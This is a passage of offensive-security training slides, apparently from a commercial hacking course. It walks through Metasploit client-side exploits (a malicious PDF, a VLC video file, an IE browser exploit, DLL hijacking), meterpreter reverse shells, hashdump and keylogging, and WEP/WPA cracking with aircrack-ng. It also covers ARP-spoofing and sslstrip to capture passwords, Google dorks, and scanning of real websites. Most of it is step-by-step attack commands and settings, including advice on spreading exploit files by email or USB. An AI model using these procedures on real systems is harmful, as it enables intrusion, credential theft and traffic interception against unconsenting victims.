  OUTPUTPATH /home/villix/tools/metasploit/data/exploits yes The location of the file.

Payload information:
  Space 1024
  Avoid: 1 characters

Description:
This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat Professional versions 8.0 through 8.2 and 9.0 through 9.3.

References:
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0188
  http://www.securityfocus.com/bid/39195
  http://www.ossdb.org/8429
  http://securityfocus.com/bid/6176
```

msf exploit(adobe_libtiff) >
• Choosing Exploit:
  • use exploits/windows/fileformat/adobe_libtiff

• Show info & description of exploit
  • info

• Set payload
  • set payload windows/messagebox

• Show required and optional options
  • show options
Metasploit – Choosing Payload

- What is a Payload / Shellcode?
- Which kinds of payloads does Metasploit offer
  - TCP Connect / TCP Reverse Connect
  - Open a Remote Shell
  - Open Meterpreter Shell
  - Start VNC on Target
  - Lots more...

```
"\x96\x45\x00\x72" // mov byte ptr [ebp-34h],72h
"\x8d\x45\x72" // lea eax,[ebp-8]
"\x50" // push eax
"\x59\x91\x94\x81\x77" // mov ecx, // Address for LoadLibraryA
"\x48\x3d\x0d" // call ecx
"\x8d\x45\x90" // lea eax,[ebp-30h]
"\x50" // push eax
"\x59\xE7\x33\x87\x77" // mov ecx, // Address for WinExec on Windo
"\x48\x3d\x0d" // call ecx
"\x8d\x45\x90" // lea eax,[ebp-60h]
"\x50" // push eax
"\x59\xE7\x33\x87\x77" // mov ecx, // Address for WinExec on Windo
"\x48\x3d\x0d" // call ecx
"\x33\x92" // xor edx,edx
"\x52" // push edx
```
Metasploit – Options

- Module options
- Payload options

```
xaitax@w00t:~/tools/metasploit
msf exploit(adobe_libraries) > show options

Module options (exploit/windows/fileformat/adobe_libraries):
Name          Current Setting Required Description
FILENAME       miff.pdf yes The file name.
OUTPUTPATH     /home/xaitax/tools/metasploit/data/exploits yes The location of the file.

Payload options (windows/messagebox):
Name          Current Setting Required Description
EXITFUNC      process yes Exit technique: seh, thread, none, process
ICON           NO yes Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT           Hello, from MSFI yes Messagebox Text (max 255 chars)
TITLE          Messagebox yes Messagebox Title (max 255 chars)

msf exploit(adobe_libraries) > set FILENAME secret.pdf
msf exploit(adobe_libraries) > set OUTPUTPATH /home/xaitax/Desktop
msf exploit(adobe_libraries) > set ICON WARNING
msf exploit(adobe_libraries) > set TEXT You would be infected now!
msf exploit(adobe_libraries) >
```
Client-Side Intrusion – PDF File

- Creating the File
  - `exploit`
Client-Side Intrusion – PDF File

Hands-On:

Image source: www.zar-x.de
Client-Side Intrusion – PDF File

Hands-On:

• Start Metasploit Console

• Get familiar with the Console

• Recreate the PDF Exploit
Client-Side Intrusion – PDF File

- We have the Exploit
- Missing?

Distribution of the PDF Exploit

- E-Mail
- USB
- Website Upload
- ....
Client-Side Intrusion – PDF File

Target has Adobe 9.3.0 installed
Client-Side Intrusion – PDF File

Target checks Exploit PDF – it’s a regular PDF file!
Client-Side Intrusion – PDF File

Target executes the Exploit PDF

- MessageBox appears with our predefined text
- This MessageBox could be a trojan!
Hands-On:
Client-Side Intrusion – PDF File

Hands-On:

• Distribute the Exploit PDF

• Wait for execution

• Did the Exploit work?
Table of Content

- Client-Side Intrusion
  - Overview
  - PDF File
  - Video File
  - Browser
  - DLL Hijacking
Client-Side Intrusion – Video File

- VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow
  - Working on ALL VLC <= 1.1.8
  - Working on ALL Windows
- Full administrative rights
- Found in April 2011
- Remote Code Execution
- References:
  - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2011-1574
  - https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt
Client-Side Intrusion – Video File

Setting Options

• Exploit:

  use exploit/windows/fileformat/vlc_modplug_s3m

• Payload:

  set payload windows/meterpreter/reverse_tcp

• Meterpreter?
Client-Side Intrusion – Video File

Meterpreter

- Advanced Shell with additional features
- Escalate system privileges
- Process Migration
- Post Exploitation Modules
- Keylogging
- File System Access
- Etc...
Client-Side Intrusion – Video File

- Setting Options

```
msf > use exploit/windows/fileformat/vlc_webm
msf exploit(vlc_webm) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(vlc_webm) > show options
```

Module options (exploit/windows/fileformat/vlc_webm):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>FILENAME</td>
<td>msf_webm</td>
<td>yes</td>
<td>The file name.</td>
</tr>
<tr>
<td>OUTPUTPATH</td>
<td>/home/xaltax/tools/metasploit/data/exploits</td>
<td>yes</td>
<td>The location of the file.</td>
</tr>
</tbody>
</table>

Payload options (windows/meterpreter/reverse_tcp):

<table>
<thead>
<tr>
<th>Name</th>
<th>Current Setting</th>
<th>Required</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>EXITFUNC</td>
<td>process</td>
<td>yes</td>
<td>Exit technique: seh, thread, none, process</td>
</tr>
<tr>
<td>LHOST</td>
<td>4444</td>
<td>yes</td>
<td>The listen address</td>
</tr>
<tr>
<td>LPORT</td>
<td></td>
<td>yes</td>
<td>The listen port</td>
</tr>
</tbody>
</table>

Exploit target:

```
Id  Name
-----
0  VLC 1.1.6 on Windows XP SP3
```

```
msf exploit(vlc_webm) >
```
Client-Side Intrusion – Video File

- Creating the Exploit
- Options:

  set FILENAME evil.mkv
  set OUTPUTPATH /root/
  set LHOST 192.168.1.103
Client-Side Intrusion – Video File

Hands-On:

Image source: www.zar-x.de
Client-Side Intrusion – Video File

Hands-On:

• Start Metasploit Console
• Get familiar with the Console
• Recreate the Video Exploit
Client-Side Intrusion – Video File

- We have the Exploit Video File
- Missing?
  - Missing listening connection
  - How do we distribute the Exploit Video File?
  - How do we know the Exploit Video was executed?
Client-Side Intrusion – Video File

Powerful command line interface for the Metasploit Framework

./msfcli

The selected module

exploit/multi/handler

The payload being used

PAYLOAD=windows/meterpreter/reverse_tcp

Defining the local host

LHOST=192.168.1.101

Execution of the module

E
Client-Side Intrusion – Video File

- We create a shell which listens on the local host for a connection

```
xaitax@w00t:~/tools/metasploit
File Edit View Search Terminal Help
xaitax@w00t:~/tools/metasploit> ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.101 E
[*] Please wait while we load the module tree...

```

- With windows/meterpreter/reverse_tcp now
Client-Side Intrusion – Video File

Now we need to distribute the Video Exploit to the Target

• E-Mail
• USB
• Website Upload
• ....
Client-Side Intrusion – Video File

- Target has VLC 1.1.6 installed
Client-Side Intrusion – Video File

Target checks Exploit Video File – it’s a regular video file!
Client-Side Intrusion – Video File

Target executed Exploit Video File – Meterpreter Shell!
Client-Side Intrusion – Video File

Explanation:

sysinfo

Give further information about the remote system

use priv

Using a Meterpreter extension for escalating privilege commands

hashdump

Dumping user-credentials on the remote-system
Client-Side Intrusion – Video File

Hands-On:

Image source: www.zar-x.de
Client-Side Intrusion – Video File

Hands-On:

- Get Meterpreter Shell on Target System
- Play with Meterpreter Shell
  - `help` will give a list of available commands
- Record keystrokes
- Do a screenshot
Table of Content

- Client-Side Intrusion
  - Overview
  - PDF File
  - Video File
  - Browser
  - DLL Hijacking
Client-Side Intrusion – Browser

- Internet Explorer CSS Recursive Import Use After Free
- Memory Corruption Vulnerability / Bypass of DEP and ASLR
- Affected:
  - Internet Explorer 6, 7, 8
  - Windows XP, Windows Vista, Windows 7
- “When A DoS Isn't A DoS”
- Published in December 2010 / Microsoft Released Patch in March 2011
- References:
  - [http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3971](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3971)
Client-Side Intrusion – Browser

- Different from the previous attacks
- No need to distribute a file to the victim
- Target needs to visit a Website
- Attacker creates website/webserver
Client-Side Intrusion – Browser

- use exploit/windows/browser/ms11_003_ie_css_import
Client-Side Intrusion – Browser

- Different options
  - **SRVHOST** (local IP address or public internet IP address)
  - **SRVPORT** (local Port to listen on – preferred “80”)
  - **URIPATH** (exact URI of the “website”)
Client-Side Intrusion – Browser

- Set payload (meterpreter) with options!
- Exploit

![msf exploit](ms11_003_ie_css_import) > exploit

  [*] Exploit running as background job.

  [*] Started reverse handler on 192.168.1.103:4444
  [*] Using URL: http://192.168.1.103:8080/secret.html
  [*] Server started.

- Webserver was created and waiting for connection
Client-Side Intrusion – Browser

- Target visits the website with Internet Explorer 8
  
  ![Screenshot of a command line interface showing a metasploit exploit in action](image)

  - Session is created

- Session is created
Client-Side Intrusion – Browser

• Automatic Process Migration

[*] Session ID 1 (192.168.1.103:4444 -> 192.168.1.111:1050) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2032)
[*] Spawning a notepad.exe host process...
[*] Migrating into process ID 2276
[*] New server process: notepad.exe (2276)

• This is necessary if Target closes the Internet Explorer – our Session would be gone
• Migration into another process let our session be active until reboot
Client-Side Intrusion – Browser

- List active sessions (including the exploit name)
  - `sessions -l -v`
- Interact with session
  - `session -i 1`

![Active sessions screenshot](image)
Client-Side Intrusion – Browser

Hands-On:

Image source: www.zar-x.de
Client-Side Intrusion – Browser

Hands-On:

• Replay the Internet Explorer Exploit
• Get Meterpreter Shell on Target System
• Play with Meterpreter Shell
  • `help` will give a list of available commands
• Download some files from the target
• Upload an *.exe file to the target
• Execute the file on the target
Table of Content

• Client-Side Intrusion
  • Overview
  • PDF File
  • Video File
  • Browser
  • DLL Hijacking
Client-Side Intrusion – DLL Hijacking

• Application DLL Hijacking

• Windows loads an additional DLL if an application is executed

• No real fix via Windows Update – Workaround can be downloaded!

• Affected:
  • All Windows

• Published in late August 2010

• References:
  • http://support.microsoft.com/kb/2264107
  • http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html
Client-Side Intrusion – DLL Hijacking

- use exploit/windows/browser/webdav_dll_hijacker
Client-Side Intrusion – DLL Hijacking

- **Different options**
  - EXTENSION (extensions for generation into destination folder e.g. ppt)
  - SRVHOST (IP the server is started on)
  - LHOST (IP to listen on for reverse connection)
Client-Side Intrusion – DLL Hijacking

- Exploit

![Screen capture showing a terminal window with output indicating the successful exploitation of a web server and the creation of a web server waiting for connection.]

- Web server was created and waiting for connection
Client-Side Intrusion – DLL Hijacking

1. Target visits URL
2. Network share automatically opens
3. Target opens file within the share!
• “Malicious” DLL is loaded and executed
• Shell is established
Table of Content – Complete Overview

1. Overview
2. Footprinting
3. Server Intrusion
4. Client-Side Intrusion
5. Wireless Intrusion
6. Wired Intrusion
7. Web Application
8. Miscellaneous Attacks
Table of Content

- Wireless Intrusion
  - Wireless Basics
  - Breaking WEP
  - Breaking WPA
  - Credential Sniffing
Wireless Intrusion – Wireless Basics

• IEEE Standard – 802.11
• Frequency: 2.4 GHz
• 802.11a
  • Up to 54 Mbps
  • Good Speed / less range
• 802.11b
  • Up to 11 Mbps
  • Less Speed / good range
• 802.11g
  • Up to 54 Mbps
  • Good speed / good range
Wireless Intrusion – Wireless Basics

- IEEE Standard – 802.11
- 802.11n
  - 150-300 Mbps
- 802.11n
  - 2.4 GHz – Less fast / better range
  - 5 GHz – Much faster / less range
Wireless Intrusion – Wireless Basics

Frequencies

- 2.4 GHz
  - Pro: Widely spread
  - Con: Sharing of different devices (Microwaves, Bluetooth, ...)

- 5 GHz
  - Pro: less used frequency, longer range
  - Con: Viewer devices -> more cost intensive

Channels

- 2.4 GHz – Usually 1 – 13 (frequency varies a bit in each channel)
- 5 GHz – Maximum of 43 but depending on the region (Europe, America, Asia, etc.)

Encryptions – WEP

- WEP = Wired Equivalent Privacy
- IEEE 802.11
- Based on a secret Key
- The key is used to initialize an RC4 stream
- Packets payload is encrypted
- Different security flaws
Wireless Intrusion – Wireless Basics

Encryptions – WPA

- WPA = Wi-Fi Protected Access
- WEP replacement due to the security flaws
- Still RC4 but longer initialization vector
- Introduction of TKIP protocol changes key every few minutes
- TKIP (Temporal Key Integrity Protocol encryption) encrypts the wireless signal
- Authentication against the network itself – not only a particular access point
Wireless Intrusion – Wireless Basics

Encryptions – WPA2

- IEEE 802.11i
- Dedicated hardware chip to handle the encryption
- New AES-based encryption mode with strong security
- WPA2-Personal (WPA2-PSK)
  - Uses a pre-shared key
- WPA2-Enterprise (WPA2-RADIUS)
  - Authenticates users against a centralized authentication service
Frame Types

- **Control frames**
  - Controlling the radio transmission, retransmission etc

- **Management frames**
  - Handling all the “managing tasks”
  - Important packets:
    - Association Request, Association Response, Re-association Request, Re-association Response, Probe Request, Probe Response, Beacon, Disassociation, Authentication, De-authentication

- **Data frames**
  - Transporting the data of the radio network
Important Facts

- Control frames & Management frames are unencrypted:
  - 802.11 defines no protection mechanism against injection, replay, etc.

- Open authentication is more secure than shared authentication
  - Attacker sees plain-text challenge and encrypted response
  - Known plain-text/cipher-text allows to recover keystream (PRGA)

- Cloaked/Hidden Networks with SSID disabled transfer it’s SSID in other management frames like probe requests, etc.
  - De-authenticating a client will help revealing the wireless SSID

- A radio network is always vulnerable to denial of service attacks on the radio layer
Table of Content

• Wireless Intrusion
  • Wireless Basics
  • Breaking WEP
  • Breaking WPA
  • Credential Sniffing
Wireless Intrusion – Breaking WEP

- Finding Wireless Networks
- *kismet* can be used!
  - Wireless Network Detector
  - Wireless Packet Sniffer
- All network information provided
  - SSID (Network Name)
  - BSSID (MAC of Router)
  - Encryption
  - Signal Strength
  - Connected Clients
  - Number of Packets
Wireless Intrusion – Breaking WEP

Hands-On:

Image source: www.zar-x.de
Wireless Intrusion – Breaking WEP

Hands-On:

• Start kismet

• Choose available WEP encrypted network(s)

• What we need to note down:
  • Channel
  • BSSID
  • (E)SSID
  • Own MAC
  • Possible connected Clients (press "c" in kismet)
Attacking Wireless Networks

aircrack-ng suite can be used

- Can crack WEP & WPA keys
- Packet injector
- Packet Sniffer
Wireless Intrusion – Breaking WEP

- Wireless card into monitor mode to sniff packets
  - `airmon-ng start <INTERFACE> <CHANNEL>`

- Logging the traffic
  - `airodump-ng -c <CHANNEL> --bssid <BSSID> -w outputfile <INTERFACE>`

- We need around 20,000 to 30,000 packets
Wireless Intrusion – Breaking WEP

• Not many or no packets might occur in the “Data” field
• We need to increase traffic
• We can inject own traffic with different techniques
  • ARP Replay
  • Fragmentation Attack
  • Chop Chop
  • Etc.
Wireless Intrusion – Breaking WEP

- Using ARPreplay attack
  - ARP Replay Attack
  - Requires active clients
  - Listen for a Client packet
  - Use this packet to flood the AP
  - Success depends on the selected packet
  - No way to tell which is the “magic” packet

- aireplay-ng --interactive -b <BSSID> -h <MY_MAC> <INTERFACE>
Wireless Intrusion – Breaking WEP

- Sometimes `aireplay-ng` does not capture usable packets because the clients are not generating any traffic
- It's easy to enforce client communication by sending de-authentication frames
- Deauthentication attack
  - To discover the SSID of a network that does not broadcast it
  - To capture handshake packets for WPA or WPA2
  - To generate ARP-requests
- `aireplay-ng --deauth=5 -a <BSSID> -c <CLIENT_MAC> <INTERFACE>`
Wireless Intrusion – Breaking WEP

• Fragmentation attack
  • Does not require clients
  • Needs to be close to Access-Point

• Fake Authentication:
  • aireplay-ng --fakeauth=0 -e <ESSID> -a <BSSID> -h <MY_MAC> <INTERFACE>

• Waiting for packet for injection:
  • aireplay-ng --fragment -F -b <BSSID> -h <MY_MAC> <INTERFACE>

• Compile packet:
  • packetforge-ng --arp -a <BSSID> -h <MY_MAC> -k 255.255.255.255 -l 255.255.255.255 -y fragment-* -w /tmp/aircrack-arp-request

• Inject Packets:
  • aireplay-ng --interactive -F -r /tmp/aircrack-arp-request <INTERFACE>
Wireless Intrusion – Breaking WEP

- Data packages should increase quite fast (~500/sec)
- Using `aircrack-ng` to crack the key

```
aircrack-ng -z /tmp/aircrack-cap-*.cap
```

![Aircrack-ng output](image)
Wireless Intrusion – Breaking WEP

• Bringing the network up with the key
• To verify that the correct key has been recovered, abort `aireplay-ng` and `airodump-ng`

• Reset Wireless Card:
  • `airmon-ng stop wlan0`

• Configure Network:
  • `iwconfig wlan0 essid <ESSID> enc <WEPKEY>`

• Activate Card:
  • `ifconfig wlan0 up`
Wireless Intrusion – Breaking WEP

- Graphical alternative in Backtrack: WICD
- WICD is a wireless network manager for Linux
Wireless Intrusion – Breaking WEP

Hands-On:
Wireless Intrusion – Breaking WEP

Hands-On:

• Break the WEP encryption by the trainers given access point
• Connect to the access points network

• Which attack worked?
• Is a MAC filter active?
Table of Content

- Wireless Intrusion
  - Wireless Basics
  - Breaking WEP
  - Breaking WPA
  - Credential Sniffing
Hands-On:
Wireless Intrusion – Breaking WPA

Hands-On:

- **Start** kismet
- Choose available WPA encrypted network(s)

What we need to note down:

- Channel
- BSSID
- (E)SSID
- Own MAC
- Connected Clients (press "c" in kismet)
Wireless Intrusion – Breaking WPA

- Wireless card into monitor mode to sniff packets
  - `airmon-ng start <INTERFACE> <CHANNEL>`

- Logging the traffic
  - `airodump-ng -c <CHANNEL> --bssid <BSSID> -w outputfile <INTERFACE>`

- Wait for WPA Handshake (Can be enforced using deauthentication attack)
  - `aireplay-ng --deauth=5 -a <BSSID> -c <CLIENT_MAC> <INTERFACE>`

- Using `aircrack-ng` to brute-force the key
  - `aircrack-ng -w <WORDLIST> /tmp/aircrack-cap-*..cap`
Wireless Intrusion – Breaking WPA

Hands-On:

Image source: www.zar-x.de
Wireless Intrusion – Breaking WPA

Hands-On:

- Break the WPA encryption by the trainers given access point
- Connect to the access points network

- Which attack worked?
Table of Content

• Wireless Intrusion
  • Wireless Basics
  • Breaking WEP
  • Breaking WPA
  • Credential Sniffing
Wireless Intrusion – Credential Sniffing

• Kismet gives us the possibility of getting all credentials in plain-text

• As
  • We are already in the Wireless Network
  • The Wireless Network is open

• Kismet stores its logs in
  • /var/log/kismet/*.dump

• First locking into the Channel of the target Wireless with Kismet

• See the menu how to lock a channel and view all sniffed packages
Wireless Intrusion – Credential Sniffing

- Kismet “Data Strings Dump”
Wireless Intrusion – Credential Sniffing

- We can use a combination of kismet & Wireshark as an Analyzer

![Wireshark Logo]

- Wireshark (formerly known as Ethereal)
- Most famous Sniffer in the world
- Freeware
- [http://www.wireshark.org/](http://www.wireshark.org/)
Wireless Intrusion – Credential Sniffing

- Loading the *.dump into Wireshark
Table of Content – Complete Overview

1. Overview
2. Footprinting
3. Server Intrusion
4. Client-Side Intrusion
5. Wireless Intrusion
6. Wired Intrusion
7. Web Application
8. Miscellaneous Attacks
Table of Content

• Wired Intrusion
  • Man-in-the-Middle
  • Credential Sniffing
  • SSL Breakdown
• Credential Sniffing with Man-in-the-Middle attack

• What is a Man-in-the-Middle attack?
  • Active attack where the attacker attempts to intercept, read or alter information moving between two computers
  • ARP cache is modified
  • Diverting original traffic
What is a Man-in-the-Middle attack?
Wired Intrusion – Man-in-the-Middle

- Target ARP table before Man-in-the-middle

```
C:\Documents and Settings\Admin>arp -a

Interface: 192.168.1.123 -- 0x2
Internet Address  Physical Address  Type
192.168.1.1      00-25-9C-48-07-36  dynamic
```

- Router MAC: 192.168.1.1 -> 00:25:9C:48:07:36
Wired Intrusion – Man-in-the-Middle

- Command line
  - arpspoof

- Tools including credential sniffing
  - Dsniff
    - Not developed anymore since 2000
  - Cain & Abel
    - Windows Application
    - http://www.oxid.it/cain.html
  - Ettercap
    - Linux Application
    - Console & GUI
    - http://ettercap.sourceforge.net/
Table of Content

• Wired Intrusion
  • Man-in-the-Middle
  • Credential Sniffing
  • SSL Breakdown
Wired Intrusion – Credential Sniffing

- Ettercap-NG

- Multi Platform
  - Linux, *BSD, MacOS, Windows

- Plugin management

- No update since 2005
Updating Backtrack 5

# aptitude update
# aptitude safe-upgrade

First prepare Ettercap for Man-in-the-Middle

- Change privileges for SSL (65534 to 0) in `/etc/etter.conf` (remove the # in front)

  [privs]
  ec_uid = 0 # nobody is the default
  ec_gid = 0 # nobody is the default

- Uncommenting two lines in `/etc/etter.conf` (remove the # in front)

  # if you use iptables:
  redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
  redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
Wired Intrusion – Credential Sniffing

- Ettercap GUI
Wired Intrusion – Credential Sniffing

- Switching to Sniffing Mode
  - “Sniff” -> “Unified Sniffing” -> Choosing the Interface (e.g. wlan0 in a wireless environment)
Wired Intrusion – Credential Sniffing

- Looking for active hosts in the network
  - “Hosts” -> “Scan for hosts” -> e.g. “5 hosts added to the hosts list...”
Wired Intrusion – Credential Sniffing

• Viewing the discovered hosts
  • “Hosts” -> “Hosts list”

<table>
<thead>
<tr>
<th>IP Address</th>
<th>MAC Address</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.1.1</td>
<td>00:25:9C:48:07:36</td>
<td></td>
</tr>
<tr>
<td>192.168.1.100</td>
<td>F8:1E:DF:DA:E5:BF</td>
<td></td>
</tr>
<tr>
<td>192.168.1.102</td>
<td>E4:7C:F9:03:3E:E4</td>
<td></td>
</tr>
<tr>
<td>192.168.1.103</td>
<td>00:24:D7:69:6E:88</td>
<td></td>
</tr>
</tbody>
</table>

• 192.168.1.1 -> Router / Gateway
• 192.168.1.103 -> Target!
Wired Intrusion – Credential Sniffing

• Starting the Man-in-the-Middle
  • “Mitm” -> “ARP Poisoning”s

• Credential Sniffing is now active
Wired Intrusion – Credential Sniffing

• Looking at the Target
  
  • **Before:** Router MAC: 192.168.1.1 -> 00:25:9C:48:07:36

  ![ARP Output](image)

  • **After:** Router MAC: 192.168.1.1 -> 00:21:6A:7F:68:04

  • The same MAC address as the attackers’ – redirection works!
Wired Intrusion – Credential Sniffing

- Target now logs into www.youtube.com

Username: blub
Password: asfsadf
Wired Intrusion – Credential Sniffing

Hands-On:

Image source: www.zar-x.de
Wired Intrusion – Credential Sniffing

Hands-On:

• Setup Ettercap

• Start Man-in-the-middle

• Target PC logs in to various Websites

• Does it work? What works?

• Which limitations?
Table of Content

- Wired Intrusion
  - Man-in-the-Middle
  - Credential Sniffing
  - SSL Breakdown
Wired Intrusion – SSL Breakdown

• Problem with Man-in-the-Middle SSL traffic
• How to avoid SSL Certificate warnings?
• Using sslstrip
  • Developed in 2009
  • Watches for HTTPS links
  • Redirects HTTPS links to HTTP
Wired Intrusion – SSL Breakdown

Problem with Man-in-the-Middle on SSL is the Certificate warning

- Firefox 3.6
Wired Intrusion – SSL Breakdown

Problem with Man-in-the-Middle on SSL is the Certificate warning

- Internet Explorer 8

There is a problem with this website's security certificate.

The security certificate presented by this website was not issued by a trusted certificate authority.
The security certificate presented by this website was issued for a different website's address.

Security certificate problems may indicate an attempt to fool you or intercept any data you send to the server.

We recommend that you close this webpage and do not continue to this website.

- Click here to close this webpage.
- Continue to this website (not recommended).
- More information
First prepare applications for Man-in-the-Middle

- **Prepare SSLStrip**
  
  ```
  ln -s /pentest/web/sslstrip/sslstrip.py sslstrip
  ```

- **Linux Kernel IP forwarding**

  ```
  echo 1 > /proc/sys/net/ipv4/ip_forward
  ```

- **Setup `iptables` to intercept HTTP requests for `sslstrip`**

  ```
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
  ```
Wired Intrusion – SSL Breakdown

Using `arpspoof` for packet redirection

- **Command**
  
  `arpspoof -i <interface> -t <target IP> <gateway IP>`

- **Example in Wireless network**
  
  `arpspoof -i wlan0 -t 192.168.1.106 192.168.1.1`
Wired Intrusion – SSL Breakdown

Start `sslstrip` for stripping HTTPS

- Command
  
  `sslstrip -p -f -k -w /root/Desktop/sslstrip.log`

- Log only SSL POST (instead of having all HTTP traffic)
  
  - `-p`

- Emulate the SSL favicon
  
  - `-f`

- Kill active SSL session of the target to force relogin
  
  - `-k`

- Write all traffic to `sslstrip.log`
  
  - `-w <filename>`
Wired Intrusion – SSL Breakdown

- No HTTPS anymore
- SSL Favicon
Wired Intrusion – SSL Breakdown

- Checking the logfile sslstrip.log

SECURE POST Data (www.google.com):

ltmpl=default&ltmplcache=2&continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3F-service=mail&rm=false&dsh=-
3086128579327401111&ltmpl=default&ltmpl=default&scc=1&timeStmp=&secTok=&GALX
=APDKuj6HaBM&Email=ffdemo@gmail.com&Passwd=mYpasSw0rd&rmShown=1&signIn=Sign+
in&asts=
Wired Intrusion – SSL Breakdown

Hands-On:
Wired Intrusion – SSL Breakdown

Hands-On:

- Setup arp-spoofing for your target PC
- Start sslstrip
- Break SSL down

- Does it work?
- Passwords in the logfile?
Table of Content – Complete Overview

1. Overview
2. Footprinting
3. Server Intrusion
4. Client-Side Intrusion
5. Wireless Intrusion
6. Wired Intrusion
7. Web Application
8. Miscellaneous Attacks
Table of Content

- Web Application
  - Overview
  - Basics
  - Code Exposure
  - Input Validation
  - CGI applications
  - Cross Site Scripting
  - SQL Injection
Web Application – Overview

- Due to the development of the world wide web, lots of new techniques have been developed & discovered to attack CGI applications and clients
- Webservers and CGI applications have to be reachable
- Webservers are often the easiest entry point
- Thanks to PHP there are new vulnerabilities discovered every day
Table of Content

- Web Application
  - Overview
  - Basics
  - Code Exposure
  - Input Validation
  - CGI applications
  - Cross Site Scripting
  - SQL Injection
Web Application – Google Hacking

- http://www.google.com/advanced_search
  - link: Results that link to that website
  - cache: Search the cache
  - site: Limit to this site only (website or domain)?
  - inurl:, allinurl: Search hit has to be in URL
  - intitle:, allintitle: Search hit has to be in title
  - filetype: Searches all files of this type
Web Application – Google Hacking

• Good examples in The Google Hacking Database:
  http://www.exploit-db.com/google-dorks/

• Public WebCams – e.g.
  • intitle:"Live View / - AXIS"

• Front Page User Logins - See the login files for front page users
  • inurl:_vti_pvt "service.pwd"

• Network Printers – View the status and even print off of printers remotely
  • intext:centreware inurl:status

• Administrator Access - View and alter websites through phpMyAdmin
  • intitle:phpMyAdmin "Welcome to phpMyAdmin *" "running on* as root@*"
Web Application – Robots.txt

• Used to deny indexing of specific parts of a website by automated robots like Google Bot
• Location: <URL>/robots.txt, e.g.:
  http://www.finfisher.com/robots.txt
• Commonly used – thanks to aggressive indexing by modern search engines
Web Application – Robots.txt

• Example:

  User-agent: *

  Disallow: /www-preview/

  Disallow: /admin/

  Disallow: /common/
Example:

User-agent: *
Disallow: /attachements/
[..]
Disallow: /studiomail/
[..]
Disallow: /studiomailfrontend.cfm
[..]
Example:

User-agent: *
Disallow: /admin/
Disallow: /admin/Security/
[...]
Hands-On:
Web Application – Robots.txt

Hands-On:

• Visit some known (target) Websites
  • Example: https://www.microsoft.com/robots.txt

• Check for robots.txt on the domain
  • Interesting data?
  • Any admin / mail interfaces?
Web Application – Default Passwords

- Many devices, router & printer use default configuration
- Therefore default username & password combinations are often used
- Different lists exist for this (e.g. [http://www.phenoelit-us.org/dpl/dpl.html](http://www.phenoelit-us.org/dpl/dpl.html))
Web Application – Social Network Security

- Many Social Networks are prone to vulnerabilities

![Social Network Security Network](image)
Some very common hidden directories:

- /admin
- /phpMyAdmin
- /mail
- /webmail
- /email
- /webalizer
- /stats
- /login
Web Application – Hidden Directories

• Some open source application are good in directory findings

• Nikto2
  • Very established but old web security scanner
  • http://cirt.net/nikto2

• Skipfish
  • Very new web security scanner of Google
  • Extremely fast
  • Self learning dictionary wordlist
  • https://code.google.com/p/skipfish/
Web Application – Hidden Directories

Hands-On:

Image source: www.zar-x.de
Web Application – Hidden Directories

Hands-On:

- Choose some known (target) website
- Run nikto on target website
  - Interesting directories?
  - Vulnerabilities found?
  - Any admin / webmail interfaces?
Table of Content

• Web Application
  • Overview
  • Basics
  • Code Exposure
  • Input Validation
  • CGI applications
  • Cross Site Scripting
  • SQL Injection
Web Application – Code Exposure

- Sometimes developer leave too many information within the source code
- Sometimes developer even provide credentials in clear-text
- “View page source” often discloses information
- Client-side scripts & applications are in control of the client
  - JavaScript
  - Flash
- All client-side authentication & protection can easily be bypassed
Web Application – Code Exposure

- Example: Martial Arts Website in Munich – Admin Interface
Web Application – Code Exposure

- Example: Martial Arts Website in Munich – Sourcecode
  - Uncommented line linking to “pass.php”
Web Application – Code Exposure

- Example: Martial Arts Website in Munich – pass.php
  - Web server exposes user ids & passwords (hashed) within the file
Web Application – Code Exposure

- MD5 Hashes online
  - http://www.hashkiller.com
  - Searches through dozens of websites and has own huge database!
  - “Webcrack” requires Account
Web Application – Code Exposure

Hands-On:

Image source: www.zar-x.de
Web Application – Code Exposure

Hands-On:

- Take the challenge by yourself
- Visit the provided URL
- Solve the Web Hack-It
  - Stage 1
    - Code Exposure
  - Stage 2
    - Hidden Directory
Table of Content

• Web Application
  • Overview
  • Basics
  • Code Exposure
  • Input Validation
  • CGI applications
  • Cross Site Scripting
  • SQL Injection
Web Application – Input Validation

- There are various techniques to bypass input validation like “is a valid e-mail“ checks, etc.
- All client side validation can easily be bypassed / modified
Web Application – Input Validation
•

Examples

// returns true if the string is a valid e-mail
function isEmail(str){
if(isEmpty(str)) return false;
var re = /^[^\s()<>@,;:\/]+@mycompany.com$/i
return re.test(str);
}

// returns true if the string is a US phone number formatted as...
// (000)000-0000, (000) 000-0000, 000-000-0000, 000.000.0000, 000 000 0000, 0000000000
function isPhoneNumber(str){
var re = /^\(?[2-9]\d{2}[\)\.-]?\s?\d{3}[\s\.-]?\d{4}$/
return re.test(str);
}

// returns true if the string only contains characters A-Z, a-z or 0-9
function isAlphaNumeric(str){
var re = /[^a-zA-Z0-9]/g
if (re.test(str)) return false;
return true;
}

264


Most input restrictions can be bypassed by saving the website to disk and manipulating the functions using a text-editor and load the local, modified version into the web browser.

Original

```javascript
// returns true if the string is a valid e-mail
isEmail(str) {
    if(isEmpty(str))
        return false;
    var re = /^[^\s()<>@,;:/+@mycompany.com$/i
    return re.test(str);
}
```

